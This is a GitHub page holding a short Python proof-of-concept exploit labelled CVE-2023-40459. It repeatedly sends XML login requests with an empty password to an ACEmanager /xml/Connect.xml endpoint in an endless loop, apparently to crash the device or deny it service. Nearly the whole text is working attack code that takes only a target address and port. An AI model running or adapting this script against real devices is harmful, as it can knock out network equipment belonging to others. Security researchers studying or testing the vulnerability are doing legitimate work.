-
Notifications
You must be signed in to change notification settings - Fork 0
/
PoC-CVE-2023-40459.py
executable file
·61 lines (45 loc) · 1.31 KB
/
PoC-CVE-2023-40459.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import requests
import signal
import readchar
import sys
exceptions = list()
def exploit(__address, __port):
data = b"""
<request xmlns="urn:acemanager">
<connect>
<login>test</login>
<password></password>
</connect>
</request>
"""
while True:
print("-----")
try:
response = requests.post(f"{__address}:{__port}/xml/Connect.xml", data=data)
except:
print(f"[*] Failed to send request")
try:
print(f"status: {response.text} response: {response.text}")
except:
print(f"status: No response!")
print("\n --------------------- \n")
def handler(signum, frame):
msg = "Ctrl-c was pressed. Do you really want to exit? y/n "
print(msg, end="", flush=True)
res = readchar.readchar()
if res == 'y':
exit(1)
else:
print("", end="\r", flush=True)
print(" " * len(msg), end="", flush=True)
print(" ", end="\r", flush=True)
def main():
signal.signal(signal.SIGINT, handler)
if len(sys.argv) < 3 or len(sys.argv) > 3:
print(f"Usage : {sys.argv[0]} [address] [port]")
sys.exit(0)
address = sys.argv[1]
port = sys.argv[2]
exploit(address, port)
if __name__ == "__main__":
main()